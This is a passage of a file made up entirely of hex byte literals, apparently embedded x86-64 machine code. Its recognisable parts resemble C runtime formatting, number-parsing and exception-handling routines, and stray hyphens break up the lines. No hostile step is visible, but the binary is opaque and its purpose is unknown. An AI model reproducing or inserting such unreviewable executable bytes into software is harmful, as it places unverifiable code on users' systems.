0x2c, 0x49, 0x3c, 0x25, - 0x77, 0x18, 0x48, 0xba, 0x21, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, - 0x48, 0x0f, 0xa3, 0xc2, 0x73, 0x08, 0x83, 0x63, 0x30, 0xf7, 0xc6, 0x43, - 0x41, 0x73, 0x48, 0x83, 0xca, 0xff, 0x48, 0xff, 0xc2, 0x80, 0x3c, 0x11, - 0x00, 0x75, 0xf7, 0x89, 0x53, 0x50, 0xb0, 0x01, 0x48, 0x8b, 0x5c, 0x24, - 0x68, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x30, 0x48, 0x8b, 0xd9, 0x8b, 0x49, 0x3c, 0x83, 0xe9, 0x02, 0x74, - 0x1c, 0x83, 0xe9, 0x01, 0x74, 0x1d, 0x83, 0xf9, 0x09, 0x74, 0x18, 0x83, - 0x7b, 0x3c, 0x0d, 0x74, 0x5e, 0x8a, 0x43, 0x41, 0x2c, 0x63, 0xa8, 0xef, - 0x0f, 0x95, 0xc0, 0xeb, 0x02, 0x32, 0xc0, 0x84, 0xc0, 0x74, 0x4c, 0x48, - 0x83, 0x43, 0x20, 0x08, 0x48, 0x8b, 0x43, 0x20, 0x48, 0x8b, 0x93, 0x60, - 0x04, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0x48, 0xf8, 0x48, 0x85, 0xd2, 0x75, - 0x0c, 0x41, 0xb8, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x53, 0x58, 0xeb, - 0x0a, 0x4c, 0x8b, 0x83, 0x58, 0x04, 0x00, 0x00, 0x49, 0xd1, 0xe8, 0x48, - 0x8b, 0x43, 0x08, 0x48, 0x8d, 0x4b, 0x50, 0x48, 0x89, 0x44, 0x24, 0x20, - 0xe8, 0x73, 0x24, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x2e, 0xc6, 0x43, 0x40, - 0x01, 0xeb, 0x28, 0x48, 0x8d, 0x43, 0x58, 0x4c, 0x8b, 0x80, 0x08, 0x04, - 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x4c, 0x0f, 0x44, 0xc0, 0x48, 0x83, 0x43, - 0x20, 0x08, 0x48, 0x8b, 0x4b, 0x20, 0x8a, 0x51, 0xf8, 0x41, 0x88, 0x10, - 0xc7, 0x43, 0x50, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4b, 0x58, 0xb0, - 0x01, 0x48, 0x8b, 0x91, 0x08, 0x04, 0x00, 0x00, 0x48, 0x85, 0xd2, 0x48, - 0x0f, 0x44, 0xd1, 0x48, 0x89, 0x53, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5b, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x41, 0x8a, 0xe8, 0x8b, - 0x49, 0x3c, 0x44, 0x8b, 0xf2, 0xe8, 0x76, 0xfc, 0xff, 0xff, 0x48, 0x8b, - 0xc8, 0x48, 0x8b, 0xf0, 0x48, 0x83, 0xe9, 0x01, 0x74, 0x7e, 0x48, 0x83, - 0xe9, 0x01, 0x74, 0x58, 0x48, 0x83, 0xe9, 0x02, 0x74, 0x34, 0x48, 0x83, - 0xf9, 0x04, 0x74, 0x17, 0xe8, 0x5f, 0x21, 0x00, 0x00, 0xc7, 0x00, 0x16, - 0x00, 0x00, 0x00, 0xe8, 0x34, 0x20, 0x00, 0x00, 0x32, 0xc0, 0xe9, 0x05, - 0x01, 0x00, 0x00, 0x8b, 0x43, 0x30, 0x48, 0x83, 0x43, 0x20, 0x08, 0xc1, - 0xe8, 0x04, 0xa8, 0x01, 0x48, 0x8b, 0x43, 0x20, 0x48, 0x8b, 0x78, 0xf8, - 0xeb, 0x5c, 0x8b, 0x43, 0x30, 0x48, 0x83, 0x43, 0x20, 0x08, 0xc1, 0xe8, - 0x04, 0xa8, 0x01, 0x48, 0x8b, 0x43, 0x20, 0x74, 0x06, 0x48, 0x63, 0x78, - 0xf8, 0xeb, 0x43, 0x8b, 0x78, 0xf8, 0xeb, 0x3e, 0x8b, 0x43, 0x30, 0x48, - 0x83, 0x43, 0x20, 0x08, 0xc1, 0xe8, 0x04, 0xa8, 0x01, 0x48, 0x8b, 0x43, - 0x20, 0x74, 0x07, 0x48, 0x0f, 0xbf, 0x78, 0xf8, 0xeb, 0x24, 0x0f, 0xb7, - 0x78, 0xf8, 0xeb, 0x1e, 0x8b, 0x43, 0x30, 0x48, 0x83, 0x43, 0x20, 0x08, - 0xc1, 0xe8, 0x04, 0xa8, 0x01, 0x48, 0x8b, 0x43, 0x20, 0x74, 0x07, 0x48, - 0x0f, 0xbe, 0x78, 0xf8, 0xeb, 0x04, 0x0f, 0xb6, 0x78, 0xf8, 0x8b, 0x4b, - 0x30, 0x8b, 0xc1, 0xc1, 0xe8, 0x04, 0xa8, 0x01, 0x74, 0x0e, 0x48, 0x85, - 0xff, 0x79, 0x09, 0x48, 0xf7, 0xdf, 0x83, 0xc9, 0x40, 0x89, 0x4b, 0x30, - 0x83, 0x7b, 0x38, 0x00, 0x7d, 0x09, 0xc7, 0x43, 0x38, 0x01, 0x00, 0x00, - 0x00, 0xeb, 0x13, 0x48, 0x63, 0x53, 0x38, 0x83, 0xe1, 0xf7, 0x89, 0x4b, - 0x30, 0x48, 0x8d, 0x4b, 0x58, 0xe8, 0xf2, 0xef, 0xff, 0xff, 0x48, 0x85, - 0xff, 0x75, 0x04, 0x83, 0x63, 0x30, 0xdf, 0xc6, 0x43, 0x54, 0x00, 0x44, - 0x8a, 0xcd, 0x45, 0x8b, 0xc6, 0x48, 0x8b, 0xcb, 0x48, 0x83, 0xfe, 0x08, - 0x75, 0x0a, 0x48, 0x8b, 0xd7, 0xe8, 0xfe, 0xf0, 0xff, 0xff, 0xeb, 0x07, - 0x8b, 0xd7, 0xe8, 0x6d, 0xf0, 0xff, 0xff, 0x8b, 0x43, 0x30, 0xc1, 0xe8, - 0x07, 0xa8, 0x01, 0x74, 0x1d, 0x83, 0x7b, 0x50, 0x00, 0x74, 0x09, 0x48, - 0x8b, 0x4b, 0x48, 0x80, 0x39, 0x30, 0x74, 0x0e, 0x48, 0xff, 0x4b, 0x48, - 0x48, 0x8b, 0x4b, 0x48, 0xc6, 0x01, 0x30, 0xff, 0x43, 0x50, 0xb0, 0x01, - 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, - 0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, - 0x41, 0x5e, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x83, 0x41, 0x20, 0x08, 0x48, 0x8b, 0xd9, 0x48, 0x8b, - 0x41, 0x20, 0x48, 0x8b, 0x78, 0xf8, 0xe8, 0xad, 0x36, 0x00, 0x00, 0x85, - 0xc0, 0x75, 0x14, 0xe8, 0x04, 0x20, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, - 0x00, 0x00, 0xe8, 0xd9, 0x1e, 0x00, 0x00, 0x32, 0xc0, 0xeb, 0x44, 0x8b, - 0x4b, 0x3c, 0xe8, 0xe1, 0xfa, 0xff, 0xff, 0x48, 0x83, 0xe8, 0x01, 0x74, - 0x2b, 0x48, 0x83, 0xe8, 0x01, 0x74, 0x1c, 0x48, 0x83, 0xe8, 0x02, 0x74, - 0x0f, 0x48, 0x83, 0xf8, 0x04, 0x75, 0xcc, 0x48, 0x63, 0x43, 0x28, 0x48, - 0x89, 0x07, 0xeb, 0x15, 0x8b, 0x43, 0x28, 0x89, 0x07, 0xeb, 0x0e, 0x0f, - 0xb7, 0x43, 0x28, 0x66, 0x89, 0x07, 0xeb, 0x05, 0x8a, 0x43, 0x28, 0x88, - 0x07, 0xc6, 0x43, 0x40, 0x01, 0xb0, 0x01, 0x48, 0x8b, 0x5c, 0x24, 0x30, - 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x83, 0x41, 0x20, 0x08, 0x48, 0x8b, 0xd9, 0x48, 0x8b, - 0x41, 0x20, 0x44, 0x8b, 0x43, 0x38, 0x41, 0x83, 0xf8, 0xff, 0x48, 0x8b, - 0x48, 0xf8, 0xb8, 0xff, 0xff, 0xff, 0x7f, 0x8b, 0x53, 0x3c, 0x44, 0x0f, - 0x44, 0xc0, 0x48, 0x89, 0x4b, 0x48, 0x83, 0xea, 0x02, 0x74, 0x1c, 0x83, - 0xea, 0x01, 0x74, 0x1d, 0x83, 0xfa, 0x09, 0x74, 0x18, 0x83, 0x7b, 0x3c, - 0x0d, 0x74, 0x30, 0x8a, 0x43, 0x41, 0x2c, 0x63, 0xa8, 0xef, 0x0f, 0x95, - 0xc0, 0xeb, 0x02, 0x32, 0xc0, 0x84, 0xc0, 0x74, 0x1e, 0x48, 0x85, 0xc9, - 0x75, 0x0b, 0x48, 0x8d, 0x0d, 0x67, 0xe8, 0x00, 0x00, 0x48, 0x89, 0x4b, - 0x48, 0x49, 0x63, 0xd0, 0xc6, 0x43, 0x54, 0x01, 0xe8, 0x93, 0x24, 0x00, - 0x00, 0xeb, 0x18, 0x48, 0x85, 0xc9, 0x75, 0x0b, 0x48, 0x8d, 0x0d, 0x59, - 0xe8, 0x00, 0x00, 0x48, 0x89, 0x4b, 0x48, 0x49, 0x63, 0xd0, 0xe8, 0x29, - 0x23, 0x00, 0x00, 0x89, 0x43, 0x50, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x20, - 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, - 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0x05, 0x52, 0x81, - 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x44, 0x24, 0x40, 0x80, 0x79, - 0x54, 0x00, 0x48, 0x8b, 0xd9, 0x74, 0x72, 0x83, 0x79, 0x50, 0x00, 0x7e, - 0x6c, 0x48, 0x8b, 0x71, 0x48, 0x33, 0xff, 0x48, 0x8b, 0x43, 0x08, 0x48, - 0x8d, 0x54, 0x24, 0x34, 0x44, 0x0f, 0xb7, 0x0e, 0x48, 0x8d, 0x4c, 0x24, - 0x30, 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x76, 0x02, 0x41, 0xb8, - 0x06, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x22, 0x21, - 0x00, 0x00, 0x85, 0xc0, 0x75, 0x31, 0x44, 0x8b, 0x44, 0x24, 0x30, 0x45, - 0x85, 0xc0, 0x74, 0x27, 0x48, 0x8d, 0x43, 0x10, 0x4c, 0x8d, 0x4b, 0x28, - 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x8b, 0x68, 0x04, 0x00, 0x00, - 0x48, 0x8d, 0x54, 0x24, 0x34, 0xe8, 0x52, 0x00, 0x00, 0x00, 0xff, 0xc7, - 0x3b, 0x7b, 0x50, 0x75, 0xa2, 0xeb, 0x27, 0x83, 0x4b, 0x28, 0xff, 0xeb, - 0x21, 0x44, 0x8b, 0x43, 0x50, 0x48, 0x8d, 0x41, 0x10, 0x48, 0x8b, 0x53, - 0x48, 0x4c, 0x8d, 0x49, 0x28, 0x48, 0x81, 0xc1, 0x68, 0x04, 0x00, 0x00, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x22, 0x00, 0x00, 0x00, 0xb0, 0x01, - 0x48, 0x8b, 0x4c, 0x24, 0x40, 0x48, 0x33, 0xcc, 0xe8, 0x17, 0xca, 0xff, - 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, - 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x45, 0x85, 0xc0, 0x0f, - 0x84, 0x99, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, - 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, - 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xf1, 0x49, 0x63, 0xf8, - 0x48, 0x8b, 0x09, 0x49, 0x8b, 0xd9, 0x48, 0x8b, 0x41, 0x08, 0x48, 0x39, - 0x41, 0x10, 0x75, 0x11, 0x80, 0x79, 0x18, 0x00, 0x74, 0x05, 0x41, 0x01, - 0x39, 0xeb, 0x45, 0x41, 0x83, 0x09, 0xff, 0xeb, 0x3f, 0x48, 0x2b, 0x41, - 0x10, 0x48, 0x8b, 0xf7, 0x48, 0x8b, 0x09, 0x48, 0x3b, 0xc7, 0x48, 0x0f, - 0x42, 0xf0, 0x4c, 0x8b, 0xc6, 0xe8, 0x32, 0xdf, 0xff, 0xff, 0x49, 0x8b, - 0x06, 0x48, 0x01, 0x30, 0x49, 0x8b, 0x06, 0x48, 0x01, 0x70, 0x10, 0x49, - 0x8b, 0x06, 0x80, 0x78, 0x18, 0x00, 0x74, 0x04, 0x01, 0x3b, 0xeb, 0x0c, - 0x48, 0x3b, 0xf7, 0x74, 0x05, 0x83, 0x0b, 0xff, 0xeb, 0x02, 0x01, 0x33, - 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, - 0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, - 0x41, 0x5e, 0xc3, 0xcc, 0xe9, 0x0f, 0xeb, 0xff, 0xff, 0xcc, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, - 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x15, 0xd6, 0xd0, - 0x00, 0x00, 0x48, 0xb9, 0x00, 0x80, 0xc1, 0x2a, 0x21, 0x4e, 0x62, 0xfe, - 0x48, 0xb8, 0x00, 0x80, 0x47, 0xdd, 0x78, 0xf0, 0x83, 0x04, 0x48, 0x03, - 0x4c, 0x24, 0x30, 0x48, 0x3b, 0xc8, 0x7d, 0x20, 0x48, 0xb8, 0xbd, 0x42, - 0x7a, 0xe5, 0xd5, 0x94, 0xbf, 0xd6, 0x48, 0xf7, 0xe9, 0x48, 0x03, 0xd1, - 0x48, 0xc1, 0xfa, 0x17, 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xe8, 0x3f, 0x48, - 0x03, 0xd0, 0xeb, 0x04, 0x48, 0x83, 0xca, 0xff, 0x48, 0x85, 0xdb, 0x74, - 0x03, 0x48, 0x89, 0x13, 0x48, 0x8b, 0xc2, 0x48, 0x83, 0xc4, 0x20, 0x5b, - 0xc3, 0xcc, 0xcc, 0xcc, 0xc7, 0x44, 0x24, 0x10, 0x00, 0x00, 0x00, 0x00, - 0x8b, 0x44, 0x24, 0x10, 0xe9, 0x23, 0x1d, 0x00, 0x00, 0xcc, 0xcc, 0xcc, - 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, - 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x55, 0x41, 0x56, 0x41, - 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0x83, 0x3a, 0x00, 0x45, 0x8b, 0xf0, - 0x41, 0x0f, 0xb6, 0xe9, 0x48, 0x8b, 0xda, 0x75, 0x15, 0xe8, 0xce, 0x1c, - 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0xa3, 0x1b, 0x00, - 0x00, 0xe9, 0xcb, 0x01, 0x00, 0x00, 0x45, 0x85, 0xf6, 0x74, 0x09, 0x41, - 0x8d, 0x40, 0xfe, 0x83, 0xf8, 0x22, 0x77, 0xdd, 0x48, 0x8b, 0xd1, 0x48, - 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x2f, 0xee, 0xff, 0xff, 0x4c, 0x8b, 0x3b, - 0x33, 0xf6, 0x41, 0x0f, 0xb6, 0x3f, 0x44, 0x8d, 0x6e, 0x08, 0x49, 0x8d, - 0x47, 0x01, 0xeb, 0x09, 0x48, 0x8b, 0x03, 0x0f, 0xb6, 0x38, 0x48, 0xff, - 0xc0, 0x4c, 0x8d, 0x44, 0x24, 0x28, 0x48, 0x89, 0x03, 0x41, 0x8b, 0xd5, - 0x8b, 0xcf, 0xe8, 0x79, 0x02, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xe1, 0x8b, - 0xc5, 0x83, 0xcd, 0x02, 0x40, 0x80, 0xff, 0x2d, 0x0f, 0x45, 0xe8, 0x8d, - 0x47, 0xd5, 0xa8, 0xfd, 0x75, 0x0c, 0x48, 0x8b, 0x03, 0x40, 0x8a, 0x38, - 0x48, 0xff, 0xc0, 0x48, 0x89, 0x03, 0x41, 0x83, 0xcd, 0xff, 0x41, 0xf7, - 0xc6, 0xef, 0xff, 0xff, 0xff, 0x0f, 0x85, 0x99, 0x00, 0x00, 0x00, 0x8d, - 0x47, 0xd0, 0x3c, 0x09, 0x77, 0x09, 0x40, 0x0f, 0xbe, 0xc7, 0x83, 0xc0, - 0xd0, 0xeb, 0x23, 0x8d, 0x47, 0x9f, 0x3c, 0x19, 0x77, 0x09, 0x40, 0x0f, - 0xbe, 0xc7, 0x83, 0xc0, 0xa9, 0xeb, 0x13, 0x8d, 0x47, 0xbf, 0x3c, 0x19, - 0x77, 0x09, 0x40, 0x0f, 0xbe, 0xc7, 0x83, 0xc0, 0xc9, 0xeb, 0x03, 0x41, - 0x8b, 0xc5, 0x85, 0xc0, 0x74, 0x07, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xeb, - 0x51, 0x48, 0x8b, 0x03, 0x8a, 0x10, 0x48, 0x8d, 0x48, 0x01, 0x48, 0x89, - 0x0b, 0x8d, 0x42, 0xa8, 0xa8, 0xdf, 0x74, 0x2f, 0x45, 0x85, 0xf6, 0xb8, - 0x08, 0x00, 0x00, 0x00, 0x41, 0x0f, 0x45, 0xc6, 0x48, 0xff, 0xc9, 0x48, - 0x89, 0x0b, 0x44, 0x8b, 0xf0, 0x84, 0xd2, 0x74, 0x2f, 0x38, 0x11, 0x74, - 0x2b, 0xe8, 0xce, 0x1b, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, - 0xe8, 0xa3, 0x1a, 0x00, 0x00, 0xeb, 0x19, 0x40, 0x8a, 0x39, 0x48, 0x8d, - 0x41, 0x01, 0x48, 0x89, 0x03, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x45, 0x85, - 0xf6, 0x41, 0x0f, 0x45, 0xc6, 0x44, 0x8b, 0xf0, 0x33, 0xd2, 0x41, 0x8b, - 0xc5, 0x41, 0xf7, 0xf6, 0x44, 0x8b, 0xc0, 0x8d, 0x4f, 0xd0, 0x80, 0xf9, - 0x09, 0x77, 0x09, 0x40, 0x0f, 0xbe, 0xcf, 0x83, 0xc1, 0xd0, 0xeb, 0x23, - 0x8d, 0x47, 0x9f, 0x3c, 0x19, 0x77, 0x09, 0x40, 0x0f, 0xbe, 0xcf, 0x83, - 0xc1, 0xa9, 0xeb, 0x13, 0x8d, 0x47, 0xbf, 0x3c, 0x19, 0x77, 0x09, 0x40, - 0x0f, 0xbe, 0xcf, 0x83, 0xc1, 0xc9, 0xeb, 0x03, 0x41, 0x8b, 0xcd, 0x41, - 0x3b, 0xcd, 0x74, 0x32, 0x41, 0x3b, 0xce, 0x73, 0x2d, 0x41, 0x3b, 0xf0, - 0x72, 0x0d, 0x75, 0x04, 0x3b, 0xca, 0x76, 0x07, 0xb9, 0x0c, 0x00, 0x00, - 0x00, 0xeb, 0x0b, 0x41, 0x0f, 0xaf, 0xf6, 0x03, 0xf1, 0xb9, 0x08, 0x00, - 0x00, 0x00, 0x48, 0x8b, 0x03, 0x40, 0x8a, 0x38, 0x48, 0xff, 0xc0, 0x48, - 0x89, 0x03, 0x0b, 0xe9, 0xeb, 0x95, 0x48, 0x8b, 0x03, 0x48, 0xff, 0xc8, - 0x48, 0x89, 0x03, 0x40, 0x84, 0xff, 0x74, 0x15, 0x40, 0x38, 0x38, 0x74, - 0x10, 0xe8, 0x1a, 0x1b, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, - 0xe8, 0xef, 0x19, 0x00, 0x00, 0x40, 0xf6, 0xc5, 0x08, 0x75, 0x2c, 0x80, - 0x7c, 0x24, 0x38, 0x00, 0x4c, 0x89, 0x3b, 0x74, 0x0c, 0x48, 0x8b, 0x44, - 0x24, 0x20, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0x4b, - 0x08, 0x48, 0x85, 0xc9, 0x74, 0x06, 0x48, 0x8b, 0x03, 0x48, 0x89, 0x01, - 0x33, 0xc0, 0xe9, 0xc0, 0x00, 0x00, 0x00, 0x8b, 0xfd, 0x41, 0xbe, 0xff, - 0xff, 0xff, 0x7f, 0x83, 0xe7, 0x01, 0x41, 0xbf, 0x00, 0x00, 0x00, 0x80, - 0x40, 0xf6, 0xc5, 0x04, 0x75, 0x0f, 0x85, 0xff, 0x74, 0x4b, 0x40, 0xf6, - 0xc5, 0x02, 0x74, 0x40, 0x41, 0x3b, 0xf7, 0x76, 0x40, 0x83, 0xe5, 0x02, - 0xe8, 0xaf, 0x1a, 0x00, 0x00, 0xc7, 0x00, 0x22, 0x00, 0x00, 0x00, 0x85, - 0xff, 0x75, 0x38, 0x41, 0x8b, 0xf5, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, - 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, - 0xfd, 0x48, 0x8b, 0x43, 0x08, 0x48, 0x85, 0xc0, 0x74, 0x06, 0x48, 0x8b, - 0x0b, 0x48, 0x89, 0x08, 0x8b, 0xc6, 0xeb, 0x5f, 0x41, 0x3b, 0xf6, 0x77, - 0xc0, 0x40, 0xf6, 0xc5, 0x02, 0x74, 0xcf, 0xf7, 0xde, 0xeb, 0xcb, 0x85, - 0xed, 0x74, 0x27, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, - 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, - 0x53, 0x08, 0x48, 0x85, 0xd2, 0x74, 0x06, 0x48, 0x8b, 0x0b, 0x48, 0x89, - 0x0a, 0x41, 0x8b, 0xc7, 0xeb, 0x25, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, - 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, - 0xfd, 0x48, 0x8b, 0x53, 0x08, 0x48, 0x85, 0xd2, 0x74, 0x06, 0x48, 0x8b, - 0x0b, 0x48, 0x89, 0x0a, 0x41, 0x8b, 0xc6, 0x48, 0x8b, 0x5c, 0x24, 0x60, - 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x8b, - 0x7c, 0x24, 0x78, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5f, 0x41, 0x5e, 0x41, - 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, - 0x48, 0x63, 0xf9, 0x33, 0xdb, 0x8b, 0xf2, 0x8d, 0x6f, 0x01, 0x4d, 0x85, - 0xc0, 0x74, 0x29, 0x49, 0x8b, 0x00, 0x81, 0xfd, 0x00, 0x01, 0x00, 0x00, - 0x77, 0x0b, 0x48, 0x8b, 0x00, 0x0f, 0xb7, 0x04, 0x78, 0x23, 0xc2, 0xeb, - 0x28, 0x83, 0x78, 0x08, 0x01, 0x7e, 0x09, 0x8b, 0xcf, 0xe8, 0x5a, 0x39, - 0x00, 0x00, 0xeb, 0x19, 0x33, 0xc0, 0xeb, 0x15, 0xe8, 0x1f, 0x39, 0x00, - 0x00, 0x81, 0xfd, 0x00, 0x01, 0x00, 0x00, 0x77, 0x06, 0x0f, 0xb7, 0x1c, - 0x78, 0x23, 0xde, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, - 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, - 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x48, 0x83, 0x64, 0x24, - 0x28, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x89, 0x4c, 0x24, 0x20, - 0x41, 0xb1, 0x01, 0x33, 0xc9, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, - 0x60, 0xfc, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, - 0xe9, 0xb3, 0x19, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x33, 0xed, 0x48, 0x8b, 0xfa, 0x48, 0x2b, 0xf9, - 0x48, 0x8b, 0xd9, 0x48, 0x83, 0xc7, 0x07, 0x8b, 0xf5, 0x48, 0xc1, 0xef, - 0x03, 0x48, 0x3b, 0xca, 0x48, 0x0f, 0x47, 0xfd, 0x48, 0x85, 0xff, 0x74, - 0x1a, 0x48, 0x8b, 0x03, 0x48, 0x85, 0xc0, 0x74, 0x06, 0xff, 0x15, 0x69, - 0xce, 0x00, 0x00, 0x48, 0x83, 0xc3, 0x08, 0x48, 0xff, 0xc6, 0x48, 0x3b, - 0xf7, 0x75, 0xe6, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, - 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xfa, 0x48, 0x8b, 0xd9, 0x48, 0x3b, 0xca, 0x74, 0x1b, 0x48, 0x8b, 0x03, - 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x15, 0x25, 0xce, 0x00, 0x00, 0x85, - 0xc0, 0x75, 0x0b, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x3b, 0xdf, 0xeb, 0xe3, - 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, - 0xc3, 0xcc, 0xcc, 0xcc, 0xb8, 0x63, 0x73, 0x6d, 0xe0, 0x3b, 0xc8, 0x74, - 0x03, 0x33, 0xc0, 0xc3, 0x8b, 0xc8, 0xe9, 0x01, 0x00, 0x00, 0x00, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf2, 0x8b, - 0xf9, 0xe8, 0x1a, 0x14, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0xd8, - 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x3e, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x08, - 0x48, 0x8b, 0xc1, 0x4c, 0x8d, 0x81, 0xc0, 0x00, 0x00, 0x00, 0x49, 0x3b, - 0xc8, 0x74, 0x0d, 0x39, 0x38, 0x74, 0x0c, 0x48, 0x83, 0xc0, 0x10, 0x49, - 0x3b, 0xc0, 0x75, 0xf3, 0x49, 0x8b, 0xc1, 0x48, 0x85, 0xc0, 0x0f, 0x84, - 0x13, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x40, 0x08, 0x4d, 0x85, 0xc0, 0x0f, - 0x84, 0x06, 0x01, 0x00, 0x00, 0x49, 0x83, 0xf8, 0x05, 0x75, 0x0d, 0x4c, - 0x89, 0x48, 0x08, 0x41, 0x8d, 0x40, 0xfc, 0xe9, 0xf5, 0x00, 0x00, 0x00, - 0x49, 0x83, 0xf8, 0x01, 0x75, 0x08, 0x83, 0xc8, 0xff, 0xe9, 0xe7, 0x00, - 0x00, 0x00, 0x48, 0x8b, 0x6b, 0x08, 0x48, 0x89, 0x73, 0x08, 0x83, 0x78, - 0x04, 0x08, 0x0f, 0x85, 0xba, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc1, 0x30, - 0x48, 0x8d, 0x91, 0x90, 0x00, 0x00, 0x00, 0xeb, 0x08, 0x4c, 0x89, 0x49, - 0x08, 0x48, 0x83, 